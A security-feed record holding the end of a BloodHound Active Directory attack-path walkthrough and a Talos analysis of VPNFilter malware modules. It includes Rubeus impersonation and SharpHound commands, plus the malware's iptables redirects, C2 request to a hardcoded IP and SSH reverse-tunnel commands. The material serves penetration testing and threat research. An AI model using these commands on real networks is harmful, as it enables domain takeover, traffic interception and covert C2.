client.\n\nAn overview of all of the collection methods are explained; the CollectionMethod parameter will accept a comma separated list of values. The default if this parameter is not supplied is Default:\n\n * **Default** - This performs a collection of the local admins on machines, group memberships, domain trusts, and sessions.\n * **Group** - Collects the group memberships only\n * **LocalGroup** - Collects just the local admins\n * **GPOLocalGroup** - Performs local admin collection using Group Policy Objects\n * **ComputerOnly** - Performs local admin collection and session collection\n * **Session** - Collects the user sessions on machines on the domain\n * **LoggedOn** - Performs privileged session collection (this requires local admin rights on target systems)\n * **Trusts** - Enumerates the domain trusts for the specified target domain\n * **ACL** - Collects the access control lists from the domain\n * **Container** - Performs collection of Containers\n * **All** - Performs all Collection Methods listed above.\n\nFor a full breakdown of the different parameters that BloodHound accepts, refer to the Sharphound repository on GitHub (<https://github.com/BloodHoundAD/SharpHound>). Alternatively if you want to drop a compiled binary the same flags can be used but instead of a single - a double dash is used:\n \n \n Sharphound.exe --ZipFileName PATHTOZIP\\file.zip --JsonFolder PATHTOZIP\\ --CollectionMethod All -Domain TESTLAB.local\n\n### Understanding What You're Looking At\n\nWhen a graph is generated from the ingestors or an example dataset, BloodHound visualizes all of the relationships in the form of nodes, each node has several properties including the different ties to other nodes. Navigating the interface to the queries tab will show a list of pre-compiled built-in queries that BloodHound provides:\n\n\n\nAn example query of the shortest path to domain administrator is shown below:\n\n\n\nIf you have never used BloodHound this will look like a lot going on and it is, but lets break this down. In the graph world where BloodHound operates, a Node is an active directory (AD) object. The different notes in BloodHound are represented using different icons and colours; Users (typically green with a person), Computers (red with a screen), Groups (yellow with a few people) and Domains (green-blue with a globe like icon). There are also others such as organizational units (OUs) and Group Policy Objects (GPOs) which extend the tool\u2019s capabilities and help outline different attack paths on a domain.\n\nEssentially from left to right the graph is visualizing the shortest path on the domain to the domain admins group, this is demonstrated via multiple groups, machines and users which have separate permissions to do different things.\n\nThis feature set is where visualization and the power of BloodHound come into their own, from any given relationship (the lines between nodes), you can right click and view help about any given path:\n\n\n\n\n\nWithin the help options of the attack path there is info about what the relationship is, how it can be abused and what operational security (opsec) considerations need to be taken into account:\n\n\n\nIn the abuse info, BloodHound will give the user the exact commands to drop into PowerShell in order to pivot through a node or exploit a relationship which is incredibly useful in such a complicated path. Additionally, the opsec considerations give more info surrounding what the abuse info does and how it might impact the artefacts dropped onto a machine.\n\n\n\nBy leveraging this information BloodHound can help red teams identify valid attack paths and blue teams identify indicators and paths of compromise. Back to the attack path, we can set the user as the start point by right clicking and setting as start point, then set domain admins as endpoint, this will make the graph smaller and easier to digest:\n\n\n\nThe user NNGHIEM00325@TESTLAB.LOCAL is going to be our path to domain administrator, by executing DCOM on COMP00262.TESTLAB.LOCAL, from the information; The user NNGHIEM00325@TESTLAB.LOCAL has membership in the Distributed COM Users local group on the computer COMP00262.TESTLAB.LOCAL. This can allow code execution under certain conditions by instantiating a COM object on a remote machine and invoking its methods. This gains us access to the machine where we can run various tools to hijack RSUDDARTH00362@TESTLAB.LOCAL's session and steal their hash, then leverage Rubeus:\n \n \n Rubeus.exe s4u /user:victim /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:admin /msdsspn:\"HTTP/PRIMARY.testlab.local\" /altservice:cifs /ptt\n\nUsing the above command to impersonate the user and pivot through to COMP00197 where LWIETING00103 has a session who is a domain administrator.\n\nAs simple as a small path, and an easy route to domain admin from a complex graph by leveraging the abuse info contained inside BloodHound.\n\n### Explaining Queries, How to Input Custom Ones\n\nIn addition to the default interface and queries there is also the option to add in custom queries which will help visualize more interesting paths and useful information. As of BloodHound 2.0 a few custom queries were removed however to add them back in, [this code](<https://raw.githubusercontent.com/BloodhoundAD/Bloodhound/e17462cf50422bfe9572e60390d32479fdbc32c4/src/components/SearchContainer/Tabs/PrebuiltQueries.json>) can be inputted to the interface via the queries tab:\n\nSimply navigate to the queries tab and click on the pencil on the right, this will open customqueries,json where all of your custom queries live:\n\n\n\nI have inputted the original BloodHound queries that show top tens and some other useful ones:\n\n\n\nIf you\u2019d like to add more the custom queries usually lives in ~/.config/bloodhound/customqueries.json\n\n\n\nThere are endless projects and custom queries available, BloodHound-owned(<https://github.com/porterhau5/BloodHound-Owned>) can be used to identify waves and paths to domain admin effectively, it does this by connecting to the neo4j database locally and hooking up potential paths of attack. It also features custom queries that you can manually add into your BloodHound instance.\n\n### Extra Tips\n\nIf you don't have access to a domain connected machine but you have creds, BloodHound can be run from your host system using runas. The following lines will enable you to query the Domain from outside the domain:\n \n \n runas /netonly /user:FQDN.local\\USER powershell\n\nThis will prompt for the user's password then should launch a new powershell window, from here you can import sharphound as you would normally:\n \n \n Import-Module Sharphound.ps1\n \n Invoke-BloodHound -ZipFileName 'PATH/TO/ZIP.zip' -JsonFolder 'PATH/TO/folderas above' -CollectionMethod All -Domain\u00a0 FQDN\n\n\n\nThis window will use the local DNS settings to find the nearest domain controller and perform the various LDAP lookups that BloodHound normally performs. By leveraging this you are not only less likely to trigger antivirus, you don't have to exfiltrate the results either which reduces the noise level on the network.\n\n### Using BloodHound Defensively\n\nHopefully the above has been a handy guide for those who are on the offensive security side of things however BloodHound can also be leveraged by blue teams to track paths of compromise, identify rogue administrator users and unknown privilege escalation bugs.\n\nJust as visualising attack paths is incredibly useful for a red team to work out paths to high value targets, however it is just as useful for blue teams to visualise their active directory environment and view the same paths and how to prevent such attacks.\n\nBloodHound can do this by showing previously unknown or hidden admin users who have access to sensitive assets such as domain controllers, mail servers or databases. These accounts may not belong to typical privileged Active Directory (AD) groups (i.e. Domain Admins/Enterprise Admins), but they still have access to the same systems. The permissions for these accounts are directly assigned using access control lists (ACL) on AD objects.\n\nThese accounts are often service, deployment or maintenance accounts that perform automated tasks in an environment or network. Which naturally presents an attractive target for attackers, who can leverage these service accounts for both lateral movement and gaining access to multiple systems. Exploitation of these privileges allows malware to easily spread throughout an organization. For this reason, it is essential for the blue team to identify them on routine analysis of the environment and thus why BloodHound is useful to fulfil this task.\n\n### Detecting BloodHound Usage\n\nIn addition to leveraging the same tooling as attackers, it is important for the blue team to be able to employ techniques to detect usage of such tooling for better time to detection and reaction for incident response. To identify usage of BloodHound in your environment it is recommended that endpoints be monitored for access and requests to TCP port 389(LDAP) and TCP port 636(LDAPS) and similar traffic between your endpoints and your domain controllers. A large set of queries to active directory would be very suspicious too and point to usage of BloodHound or similar on your domain.\n\n### References\n\n * Bloodhound was created and is developed by [@_wald0](<https://twitter.com/_wald0>), [@CptJesus](<https://twitter.com/CptJesus>), and [@harmj0y](<https://twitter.com/harmj0y>).\n * GitHub page: <https://github.com/BloodhoundAD/Bloodhound>\n * Additional Tooling: <https://github.com/BloodhoundAD/Bloodhound-Tools>\n * BloodHoundOwned Project: <https://github.com/porterhau5/BloodHound-Owned>\n * Sharphound Ingestor: <https://github.com/BloodhoundAD/SharpHound>", "modified": "2019-06-07T12:00:31", "published": "2019-06-07T12:00:31", "id": "PENTESTPARTNERS:F633921E3B5838D2689A44CD9155F4EF", "href": "https://www.pentestpartners.com/security-blog/bloodhound-walkthrough-a-tool-for-many-tradecrafts/", "type": "pentestpartners", "title": "Bloodhound walkthrough. A Tool for Many Tradecrafts", "cvss": {"score": 0.0, "vector": "NONE"}}], "talosblog": [{"lastseen": "2018-10-05T08:22:15", "bulletinFamily": "blog", "description": "## [](<http://4.bp.blogspot.com/-C9g9rcZel60/W6u9GJlOXgI/AAAAAAAAEEw/hYZ9vT-4Vhw5kPbPc21U12yoVRyRQIgTwCK4BGAYYCw/s1600/2018-09-26.jpg>)\n\n## Summary\n\n \nVPNFilter \u2014 [a multi-stage, modular framework](<https://blog.talosintelligence.com/2018/05/VPNFilter.html>) that has infected hundreds of thousands of network devices across the globe \u2014 is now known to possess even greater capabilities. Cisco Talos recently discovered seven additional third-stage VPNFilter modules that add significant functionality to the malware, including an expanded ability to exploit endpoint devices from footholds on compromised network devices. The new functions also include data filtering and multiple encrypted tunneling capabilities to mask command and control (C2) and data exfiltration traffic. And while we believe our work, and the work of our international coalition of partners, has mostly neutralized the threat from VPNFilter, it can still be difficult to detect in the wild if any devices remain unpatched. \n \nTalos has been researching VPNFilter for months. Our initial findings are outlined [here](<https://blog.talosintelligence.com/2018/05/VPNFilter.html>), and a description of additional modules used by the framework is [here](<https://blog.talosintelligence.com/2018/06/vpnfilter-update.html>). As part of our continued investigation, we developed a technique to examine a key protocol used by MikroTik networking devices to hunt for possible exploitation methods used by the actor. \n \nAs we followed the thread of VPNFilter infections, it became clear that MikroTik network devices were heavily targeted by the threat actor, especially in Ukraine. Since these devices seemed to be critical to the actor's operational goals, this led us to try to understand how they were being exploited. Part of our investigation included the study of the protocol used by MikroTik's Winbox administration utility. In this blog, we'll share how and why we studied this protocol, as well as the decoder tool we developed as a way of helping the security community look into this protocol for potential malicious actor activity. \n \nThe sophistication of VPNFilter drives home the point that this is a framework that all individuals and organizations should be tracking. Only an advanced and organized defense can combat these kinds of threats, and at the scale that VPNFilter is at, we cannot afford to overlook these new discoveries. \n \n \n\n\n## Expanded VPNFilter capabilities\n\n \nThe discovery of these additional VPNFilter third-stage modules has significantly added to our understanding of what we already knew to be an extremely potent threat. Together, these modules added: \n\n\n 1. Additional capabilities that could be leveraged to map networks and exploit endpoint systems that are connected to devices compromised by VPNFilter.\n 2. Multiple ways for the threat actor to obfuscate and/or encrypt malicious traffic, including communications used for C2 and data exfiltration.\n 3. Multiple tools that could be utilized to identify additional victims accessible from the actor's foothold on devices compromised by VPNFilter for both lateral movement within a network, as well as to identify new edge devices in other networks of interest to the actor.\n 4. The capacity to build a distributed network of proxies that could be leveraged in future unrelated attacks to provide a means of obfuscating the true source of attack traffic by making it appear as if the attacks originated from devices previously compromised by VPNFilter.\n \nWe were able to confirm the existence and capabilities of the malware after reverse-engineering these additional modules. Previously, we had to make analytic assessments on the existence and nature of these capabilities based solely on telemetry analysis, which always leaves room for error. \n \nFor example, we had previously noted what appeared to be devices compromised by VPNFilter conducting scans of large IP spaces that seemed focused on identifying other devices vulnerable to the methods of exploitation used by the actor associated with the VPNFilter malware. However, now we can discuss the specific third-stage module used for this activity. \n \nAs a result of our continued research, we have furthered our understanding of the full scope of the capabilities associated with VPNFilter after examining these additional third-stage modules. \n \n\n\n## Additional third-stage modules\n\n \nAs previously described, Talos identified the following seven additional third-stage modules that greatly expanded the capabilities present within VPNFilter. \n\n\n[](<https://4.bp.blogspot.com/-JdUaMCSMsJQ/W6uNrIDX3pI/AAAAAAAAAzA/U9yY81ZWztsh6ZyYItWhh_Tdj47kCloUgCLcBGAs/s1600/image4.png>)\n\nEach of these modules is described in detail in the following sections. \n \n\n\n### 'htpx' (endpoint exploitation module - executable injection)\n\n \n'htpx' is a third-stage module for VPNFilter. This module shares similar code with the 'ssler' module previously [documented](<https://blog.talosintelligence.com/2018/06/vpnfilter-update.html>) by Talos. The module relies heavily on open-source code that can be traced to the original projects based on strings present within the binary. A good example is '[libiptc.c](<https://git.netfilter.org/iptables/tree/libiptc/libiptc.c>)', which is part of Netfilter. \n\n\n[](<https://4.bp.blogspot.com/-QLSEAngfixo/W6uNxGUY_FI/AAAAAAAAAzE/Y5OL6cV6FVw1N0PBsY8LFKbdzWHagi_AQCLcBGAs/s1600/image3.jpg>)\n\n**Comparison of strings between 'htpx' (left) and 'ssler' (right). **\n\n \nThe primary function present within the 'htpx' module is responsible for setting up iptables rules to forward network traffic destined for TCP port 80 to a local server running on port 8888. This redirection is accomplished by first loading kernel modules that allow for traffic management. These modules (Ip_tables.ko, Iptable_filter.ko, and Iptable_nat.ko) are loaded with the insmod shell command. \n \nThe 'htpx' module then issues the following commands to surreptitiously forward traffic: \n \niptables -I INPUT -p tcp --dport 8888 -j ACCEPT \niptables -t nat -I PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 8888 \n \nIt also periodically checks to ensure that these rules remain present by issuing similar delete commands then re-adding them. A temp file is also created called /var/run/htpx.pid. \n \nThe following HTTP request is then generated: \n \nGET %s HTTP/1.1\\r\\nHost: 103.6.146.194\\r\\nAccept: */*\\r\\nUser-Agent: curl53\\r\\n\\r\\n \n \nDuring our analysis of the 'htpx' module, we were unable to elicit a response from C2 infrastructure, so we were unable to observe additional module operations. During our analysis of the module binary, we identified that the module inspects HTTP communications to identify the presence of Windows executables. When they are encountered, the executable is flagged and added to a table. We assess with moderate confidence that this module could be leveraged by attackers to download a binary payload and allow for on-the-fly patching of Windows executables as they pass through compromised devices. \n \n\n\n### 'ndbr' (multi-functional SSH tool)\n\n \nThe 'ndbr' module is a module with SSH capabilities that also has the ability to port-scan other IPs. This module uses the dropbear SSH server and client and is a modified version of the [dbmulti](<https://github.com/mkj/dropbear/blob/master/dbmulti.c>) utility version 2017.75. We have identified several modifications to the standard dropbear functionality. \n \nThe first modifications are to the dbmulti utility itself. The typical utility can function as an SSH client, SSH server, perform data transfers using SCP, generate keys, or convert keys. The functionality is determined either by the program name or the first parameter passed to the program. The 'ndbr' module has replaced the ability to generate or convert keys with a network mapping (i.e., port-scanning) function as well as another function called 'ndbr.' \n \nLike the original \"dbmulti\" utility, the 'ndbr' module's functionality depends either on the name of the program or the first argument passed to the program. The arguments that the 'ndbr' module accepts are dropbear, dbclient, ssh, scp, ndbr, and nmap. A description of each of these arguments can be found in the following sections. \n \n\n\n#### dropbear\n\n \nThe dropbear command instructs the 'ndbr' module to operate as an SSH server. The original dropbear code uses the default SSH port (TCP/22) to listen for connections. However, the code present within the 'ndbr' module has been modified to use a default port of TCP/63914. Other modifications to the original dropbear code change the way that host keyfiles are handled. The default keyfile path has been changed to /db_key, but the 'ndbr' module does not drop this file. Instead, the buf_readfile dropbear function has been modified to load the proper key from memory when the filename parameter is equal to /db_key. \n \nInstead of using password-based authentication, the dropbear server has been modified to authenticate via a proper public key, which is also embedded in the 'ndbr' executable. A bug in this modified code mishandles connections attempting to use an incorrect public key. These authentication failures cause the ndbr SSH server to become stuck in an infinite loop. There is no indication to the client, however, that the authentication has failed. At this time, we have been unable to identify a correct key that would allow for successful authentication with the ndbr SSH server \u2014 neither of the keys embedded in the 'ndbr' module (i.e., /db_key and /cli_key) were correct, and no corresponding keys were found in any other VPNFilter-related binaries. \n \n\n\n#### dbclient (ssh)\n\n \nIf passed the dbclient or ssh parameter, the 'ndbr' module acts as the standard dropbear SSH command-line interface client but with modifications to its default options. As with the default keyfile with dropbear server command, the dbclient/ssh commands have a default identity file: /cli_key. At this time, we do not know what the dbclient (SSH client) is expected to connect to. \n \n\n\n#### nmap\n\n \nIf passed the nmap argument, the 'ndbr' module will perform a port scan of an IP or range of IPs. \n \nThe usage is: \n \nUsage %s -ip* <ip-addr: 192.168.0.1/ip-range 192.168.0.0./24> -p* <port: 80/port-range: 25-125> -noping <default yes> -tcp <default syn> -s <source ip> -h/--help (print this help) \n \n\n\n#### ndbr\n\n \nIf passed the ndbr argument, the 'ndbr' module will do one of three operations based on the other parameters it is passed. The SSH commands will make use of the default keys (i.e., /db_key and /cli_key) as described above. \n \nThe third parameter must begin with the word \"start,\" or the 'ndbr' module uninstalls itself. \n \nIf the ndbr module is executed using the following parameters: \n \n$ ./ndbr_<arch> ndbr <param1> <param2> \"start proxy <host> <port>\" \n \nThe following dropbear SSH command will be executed: \n \nssh -y -p <port> prx@<host> srv_ping j(<B64 victim host name>)_<victim MAC address> <param2> \n \nThis causes the dropbear SSH client to connect to a remote host and issue the \"srv_ping\" command, which is likely used to register the victim with a C2 server. \n \nIf the ndbr module is executed using the following parameters: \n \n`$ ./ndbr_<arch> ndbr <param1> <param2> \"start -l <port>\"` \n \nThe dropbear SSH server (as described above) is started and begins listening on the port specified: \n \n`sshd -p <port>` \n \nIf the ndbr module is executed with the following parameters: \n \n`$ ./ndbr_<arch> ndbr <param1> <param2> \"start <user> <host> <port>\"` \n \nRemote port forwarding is set up by executing the following dropbear command (see above for explanation of the command options): \n \n`ssh -N -T -y -p <port> -R :127.0.0.1:63914 <user>@<host>` \n \n\n\n### 'nm' (network mapper)\n\n \nThe 'nm' module is used to scan and map the local subnet. It iterates through all interfaces and starts by ARP scanning for all hosts on the subnet associated with each IP assigned to the interface. Once an ARP reply is received, nm will send an ICMP echo request to the discovered host. If an ICMP echo reply is received it will continue mapping by performing a port scan, trying to connect to the following remote TCP ports on the host: 9, 21, 22, 23, 25, 37, 42, 43, 53, 69, 70, 79, 80, 88, 103, 110, 115, 118, 123, 137, 138, 139, 143, 150, 156, 161, 190, 197, 389, 443, 445, 515, 546, 547, 569, 3306, 8080 or 8291. \n \nNext, it uses the MikroTik Network Discovery Protocol (MNDP) to locate any other MikroTik devices on the local network. If a MikroTik device replies to the MNDP ping, nm extracts the MAC address, system identity, version number, platform type, uptime in seconds, RouterOS software ID, RouterBoard model, and interface name from the discovered device. \n \nThe nm module looks in /proc/net/arp to get information about the infected device's ARP table, revealing the IP and MAC addresses of neighboring devices. Next, the entire contents of /proc/net/wireless are gathered. \n \nThe module performs a traceroute by first creating a TCP connection to 8.8.8.8:53 to confirm its availability (no data is sent), then ICMP echo requests are repeatedly sent to this IP with increasing TTLs. \n \nAll of the network information that is gathered is saved to a temporary file named /var/run/repsc_<time stamp>.bin. An example .bin file is as follows: \n\n\n[](<https://1.bp.blogspot.com/-C_k_GyYjAu4/W6uPw75omrI/AAAAAAAAAzc/Cq5CgWKzNEkRlRF1RdHzV2AqpKe45cVlQCLcBGAs/s1600/00001.jpg>)\n\nThe code responsible for the SSDP, CDP and LLDP functions was present within the module but was never called in the samples analyzed and therefore will always be empty. \n \nThe nm module requires three command line arguments to operate properly, but only the first parameter is used. Like several other modules, the first parameter is a folder, and this is the location where the data is permanently saved. The final task performed by the nm module is the moving of the temporary .bin file containing the results of the scan to a folder specified as the first command line argument, ostensibly for later exfiltration by the main VPNFilter process. \n \n\n\n### 'netfilter' (denial-of-service utility)\n\n \nnetfilter expects three arguments to be given on the command line. The first two arguments are unused, and the third argument is a quoted string in the format \"<block/unblock> <# of minutes>.\" '# of minutes' is how long netfilter should execute for before exiting. If 'block' was used as the first part of the third argument, netfilter adds the following rule to iptables: \n \nChain FORWARD (policy ACCEPT) \ntarget prot opt source destination \nDROP tcp -- anywhere anywhere tcpflags: PSH/PSH \n \nAfter adding this rule, netfilter waits 30 seconds and then deletes this rule. If there is still time remaining based on the '# of minutes' value, this process begins again. The addition and deletion loop ensures that the rule persists in the event the rule is deleted from the device. \n \nOnce the number of minutes has elapsed, the program exits. Signal handlers are also installed at the beginning of the netfilter program that deletes the iptables rule and then exit if the program receives either a SIGINT or SIGTERM. This is done so the device works as normal in the event someone manually terminates the netfilter program. \n \nFinally, the 'unblock' argument can be used to delete the iptables rule that was previously added using the 'block' argument. \n \nAlthough there are no other code paths possible, there are indications that there is or could have been something more to this module. \n \nThe first indicator is that all of the different netfilter module samples that Talos analyzed (MIPS, PPC, Tile-GX) contain the same list of 168 CIDR IP addresses and ranges which tie to the following companies/services: \n \n31.13.64.51 - WhatsApp \n169.44.36.0/25 - WhatsApp \n203.205.167.0/24 - Tencent (Owner of QQ Chat) \n52.0.0.0/16 - Amazon.com, Inc. (The following encrypted applications have used multiple IPs in this range: Wikr, Signal, Dust and Confide) \n \nThis indicates that the netfilter module may have been designed to deny access to specific forms of encrypted applications, possibly in an attempt to herd victim communications to a service that the actor preferred they use. Interestingly, Telegram, an extremely popular encrypted chat application, is missing from the list. \n \nHowever, we were unable to find any references to these strings in the code. All versions of netfilter that we have samples for have this same IP range list but do not appear to use it. It's possible that the samples we have are incomplete. \n \nThe iptables rule that is added by the netfilter module drops TCP packets with the PUSH flag set. This rule would likely use iptables rules that block all packets not just TCP packets with the PUSH flag set if its purpose is to provide attackers with the ability to launch denial-of-service attacks using compromised devices. Typically, a rule like this would be useful as part of a man-in-the-middle attack enabling attackers with access to the devices to intercept forwarded traffic, manipulate it, then manually forward it. This might explain the list of CIDR ranges as a list of IPs to intercept. We were unable to locate any indication of this sort of functionality present within the samples that were analyzed. \n \nWe have concluded that the IPs are not used. This may be due to them being left over from an older version of the netfilter module, functionality that has not yet been implemented, or there may be modifications to the statically linked iptables library made by the malware authors that we haven't found yet. The VPNFilter authors have modified open-source code before (e.g. the ndbr module), so it's not unexpected that they would change the libiptc code linked in the netfilter module. \n \n\n\n### 'portforwarding' (Allows the forwarding of network traffic to attacker specified infrastructure)\n\n \nThe portforwarding module is designed to be executed with the following command line arguments: \n \n./portforwarding <unused> <unused> \"start <IP1> <PORT1> <IP2> <PORT2>\" \n \nGiven these arguments, the portforwarding module will forward traffic from a particular port and IP combination to another port and IP by installing the following iptables rules: \n \niptables -t nat -I PREROUTING 1 -p tcp -m tcp -d <IP1> \\--dport <PORT1> -j DNAT --to-destination <IP2>:<PORT2> \n \niptables -t nat -I POSTROUTING 1 -p tcp -m tcp -d <IP2> \\--dport <PORT2> -j SNAT --to-source <device IP> \n \nThese rules cause any traffic passing through the infected device that is destined to IP1:PORT1 to be redirected to IP2:PORT2 instead. The second rule then changes the source address of the rerouted traffic to that of the infected device to ensure the responses are sent back to the infected device. \n \nAs a precaution, before installing the iptables rules, the portforwarding module first checks that IP2 is available by creating a socket connection to IP2 on PORT2. However, no data is sent before the socket is closed. \n \nLike other modules that manipulate iptables, the portforwarding module enters a loop that adds the rules, waits a period of time, deletes the rules and then adds them again to ensure that the rules persist on the device even if they are manually deleted. \n \n\n\n### 'socks5proxy' (Enables establishment of a SOCKS5 proxy on compromised devices)\n\n \nThe socks5proxy module is a SOCKS5 proxy server that appears to be based on the open-source project [shadowsocks](<https://shadowsocks.org/en/index.html>). The server uses no authentication and is hardcoded to listen on TCP port 5380. Before the server is started, socks5proxy forks to connect to a C2 server specified in arguments supplied to the module. If the server does not respond within a few seconds, the fork kills its parent process (the server) and then exits. The C2 server can respond with commands to execute normally or terminate the server. \n \nThis module contains the following usage strings, though they do not line up with the arguments for the socks5proxy module, and these settings cannot be modified through command line arguments: \n \nssserver \n \\--username <username> username for auth \n \\--password <password> password for auth \n -p, --port <port> server port, default to 1080 \n -d run in daemon \n \\--loglevel <level> log levels: fatal, error, warning, info, debug, trace \n -h, --help help \n \nThe actual command line arguments for the socks5proxy module are: \n \n./socks5proxy <unused> <unused> \"start <C&C IP> <C&C port>\" \n \nThe socks5proxy module verifies the argument count is greater than 1, but the process crashes with a SIGSEV signal if two arguments are given, indicating that there may be limited or poor quality control during some phases of development for this malware toolchain. \n \n\n\n### 'tcpvpn' (Enables establishment of a Reverse-TCP VPN on compromised devices)\n\n \nThe tcpvpn module is a Reverse-TCP VPN, designed to allow a remote attacker to access internal networks behind infected devices. It accomplishes this by beaconing to a remote server, which could be set up like a TunTap device to forward packets over the TCP connection. The connection is seen as outbound by network devices, which may help the module bypass simple firewalls or NAT issues. This module is similar in concept to penetration testing software Cobalt Strike's [VPN Pivoting](<https://www.cobaltstrike.com/help-covert-vpn>). \n \nAll data sent through the connection is encrypted with RC4, with a key generated by the hardcoded bytes: \n \n\n \n \n \"213B482A724B7C5F4D77532B45212D215E79433D794A54682E6B653A56796E457A2D7E3B3A2D513B6B515E775E2D7E533B51455A68365E6A67665F34527A7347\"\n\n \nWhich are sandwiched between the port numbers of the current connection (e.g., \"58586!;H*rK|_MwS+E!-!^yC=yJTh.ke:VynEz-~;:-Q;kQ^w^-~S;QEZh6^jgf_4RzsG80\"). \n \nThe command line syntax associated with the tcpvpn module are: \n \n./tcpvpn <unused> <unused> \"start <C&C IP> <C&C port>\" \n \n\n\n### MikroTik Research\n\n \n\n\n### Introducing the Winbox Protocol Dissector\n\n \nDuring our research into VPNFilter, we needed to determine how some of the devices were compromised. While examining the MikroTik series of devices, we noticed an open port (TCP 8291) and that the configuration tool \"Winbox\" uses that port for communication. \n \nThe traffic from these devices appeared as large blobs of binary data, so we weren't able to determine potential avenues of access using this protocol without a protocol dissector (which to our knowledge, didn't exist publicly). We decided to develop our protocol dissector for use with packet analysis tools such as [Wireshark](<https://www.wireshark.org/>) to learn more about the protocol, which would allow us to design effective rules to prevent future infections once potential attack vectors were discovered. \n \nAn example of such an attack vector is [CVE-2018-14847](<https://arstechnica.com/information-technology/2018/09/unpatched-routers-being-used-to-build-vast-proxy-army-spy-on-networks/>) which allows an attacker to perform a directory traversal for unauthenticated credential recovery. The dissector proved extremely helpful when we wrote coverage for this vulnerability ([Snort SID: 47684](<https://www.snort.org/advisories/598>)). While an [update](<https://blog.mikrotik.com/security/winbox-vulnerability.html>) for this vulnerability has been released, we think it's essential for security professionals to be able to monitor this traffic to help identify any other potentially malicious traffic. \n \nPrivacy can still be maintained by ensuring that you either use \"secure mode\" to encrypt communications or download the latest Winbox client which communicates over encrypted channels only. This tool will **NOT** decrypt encrypted communications. The latest MikroTik CCR firmware version we tested (6.43.2), enforces the usage of this newer Winbox client though this is only enforced client-side. This means that you **CAN** still communicate over insecure channels using a custom-made client. Therefore, we believe this Wireshark dissector remains useful because an attacker can still deliver an exploit without having to reimplement said secure communications. \n \n\n\n### What is the \"Winbox Protocol?\"\n\n \nThe term \"Winbox\" comes from the Winbox client offered by MikroTik as an alternative to the web GUI. \n \nFrom the official [documentation](<https://wiki.mikrotik.com/wiki/Manual:Winbox>), Winbox is a small utility that allows for the administration of MikroTik RouterOS using a fast and simple GUI. It is a native Win32 binary but can be run on Linux and MacOS (OSX) using Wine, an open-source compatibility layer. All Winbox interface functions are as close as possible to mirroring the console functions \u2014 that is why there are no Winbox sections in the manual. Some of the advanced and critical system configurations are not possible from Winbox, like changing the MAC address on an interface. \n \nThe term \"Winbox Protocol\" is not official, as far as we know. It's simply the term we chose since it matches the name of their client. \n \n\n\n### Using the dissector\n\n \nInstallation is simple, and since this is a LUA-based dissector, recompilation is not necessary. Simply drop the Winbox_Dissector.lua file into your /$HOME/.wireshark/plugins folder. By default, any TCP traffic to or from TCP port 8291 will be properly decoded as Winbox traffic once the dissector is installed. \n \nWhile a single message from the client/server to its destination would be preferable for parsing purposes, this is not always the case and observing live communications proved that there are many ways that Winbox messages can be formatted and sent. \n \nBelow is an example of a Winbox communications capture that has the following properties: \n\n\n * Multiple messages sent in the same packet.\n * Messages containing one or more two-byte \"chunks\" that need to be removed before parsing.\n * Messages too long for a single packet \u2014 TCP reassembly applied.\n * Messages containing additional \"nested\" messages\nHere is how the capture is displayed before installing the dissector: \n\n\n[](<https://4.bp.blogspot.com/-Y6bIpGj74pc/W6uQlLqJpwI/AAAAAAAAAzo/lXw2AvRsQJ48OBPHe-ESqVEAO1fXOhUhgCLcBGAs/s1600/image1.png>)\n\nThe communications are correctly parsed in Wireshark following installation of the Winbox protocol dissector: \n\n\n[](<https://4.bp.blogspot.com/-koiAk2C71Kw/W6uQpoeyiOI/AAAAAAAAAzs/ug0oWJDeZdknnq-ZGhM1xP5epx2s7TWGACLcBGAs/s1600/image2.png>)\n\n### Obtaining the Dissector\n\n \nTo improve the security community's ability to analyze these communications and to monitor for threats that may attempt to take advantage of the Winbox Protocol, Cisco Talos is releasing this dissector for public use. For additional information and to obtain the dissector, please see the GitHub repository [here](<https://github.com/Cisco-Talos/Winbox_Protocol_Dissector>). \n \n\n\n## Conclusion\n\n \nAs a result of the capabilities we previously discovered in VPNFilter coupled with our new findings, we now confirm that VPNFilter provides attackers all of the functionality required to leverage compromised network and storage devices to further pivot into and attack systems within the network environments that are being targeted. \n \nIt also allows attackers to leverage their access to sensitive systems such as gateway and routing devices to perform activities such as network mapping and endpoint exploitation, network communications monitoring and traffic manipulation, among other serious threats. Another dangerous capability provided by VPNFilter is the ability to turn compromised devices into proxies that could be leveraged to obfuscate the source of future, unrelated attacks by making it appear as if the attacks originate from networks previously compromised by VPNFilter. The sophisticated nature of this framework further illustrates the advanced capabilities of the threat actors making use of it, as well as the need for organizations to deploy robust defensive architectures to combat threats such as VPNFilter. \n \nWith this new understanding of VPNFilter, most of our unanswered questions about the malware itself have now been answered. However, there are still significant unknowns about this threat that linger to this day: \n \n**How did the actor gain initial access to affected devices? ** \n \nWhile we strongly assess that they utilized widely known, public vulnerabilities based on the makes/models affected by VPNFilter, we still don't have definitive proof of this. \n \n**Is the actor attempting to reconstitute their access? ** \n \nBased on our telemetry and information from our partners, it appears that VPNFilter has been entirely neutralized since we and our international coalition of partners (law enforcement, intelligence organizations, and the [Cyber Threat Alliance](<https://www.cyberthreatalliance.org/>)) countered the threat earlier this year. Most C2 channels for the malware have been mitigated. The stage 2 implants were non-persistent, so most have likely been cleared from infected devices. We have seen no signs of the actor attempting to reconnect with devices that may still have the persistent stage 1 with an open listener. \n \nDoes this mean the actor has abandoned this expansive foothold into the small and home office (SOHO) network device space? Are they instead reconstituting their access by starting over, re-exploiting and dropping new unknown malware? Have they given up on having broad worldwide SOHO access in favor of a more tailored approach only going after specific key targets? \n \nWhatever the answers may be, we know that the actor behind VPNFilter is extremely capable and driven by their mission priorities to continually maneuver to achieve their goals. In one form or another, they continue to develop and use the tools and frameworks necessary to achieve their mission objective(s). \n \n\n\n## IOCs\n\n \na43a4a218cf5755ce7a7744702bb45a34321339ab673863bf6f00ac193cf55fc \naac52856690468687bbe9e357d02835e9f5226a85eacc19c34ff681c50a6f0d8 \n13165d9673c240bf43630cddccdc4ab8b5672085520ee12f7596557be02d3605 \nb81f857cd8efab6e6e5368b1c00d93505808b0db4b773bee1843a3bc948d3f4f \n809f93cbcfe5e45fae5d69ca7e64209c02647660d1a79b52ec6d05071b21f61a \n7ff2e167370e3458522eaa7b0fb81fe21cd7b9dec1c74e7fb668e92e261086e0 \n81368d8f30a8b2247d5b1f8974328e9bd491b574285c2f132108a542ea7d38c7 \nb301d6f2ba8e532b6e219f3d9608a56d643b8f289cfe96d61ab898b4eab0e3f5 \n99e1db762ff5645050cea4a95dc03eac0db2ceb3e77d8f17b57cd6e294404cc7 